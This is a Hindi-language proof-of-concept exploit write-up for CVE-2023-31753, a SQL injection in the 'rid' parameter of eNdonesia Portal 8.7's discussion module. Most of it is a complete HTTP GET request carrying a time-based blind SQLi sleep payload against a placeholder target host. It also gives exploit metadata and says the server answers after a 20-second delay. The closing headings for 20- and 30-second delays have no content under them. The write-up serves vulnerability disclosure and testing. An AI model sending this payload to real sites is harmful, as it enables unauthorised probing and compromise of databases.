CVE-2023-31753

CVE-2023-31753 के लिए प्रूफ ऑफ कॉन्सेप्ट

विवरण: eNdonesia Portal v8.7 में एक SQL इंजेक्शन कमजोरी पाई गई, जिसका शोषण diskusi.php में "rid" पैरामीटर में तैयार पेलोड डालने पर किया जाता है।

• शोषण शीर्षक: eNdonesia Portal 8.7 - SQL injection vulnerability in diskusi.php (rid parameter)
• दिनांक: May 19, 2023
• शोषण लेखक: Kunal Khubchandani
• विक्रेता होमपेज: http://www.endonesia.org/
• सॉफ्टवेयर लिंक: https://sourceforge.net/projects/endonesia/
• संस्करण: 8.7
• श्रेणी: Webapps
• परीक्षण किया गया: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#POC:

1. इस कमजोरी का शोषण करने के लिए, निम्नलिखित HTTP अनुरोध में "rid" GET पैरामीटर के मान के रूप में SQLi स्लीप पेलोड भेजना होगा।

2. कमजोर अनुरोध:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. उपरोक्त HTTP अनुरोध Burp Suite के माध्यम से भेजने पर, उपयोगकर्ता को 20 सेकंड की देरी के साथ प्रतिक्रिया प्राप्त होगी।

** 20 सेकंड की देरी:

** 30 सेकंड की देरी: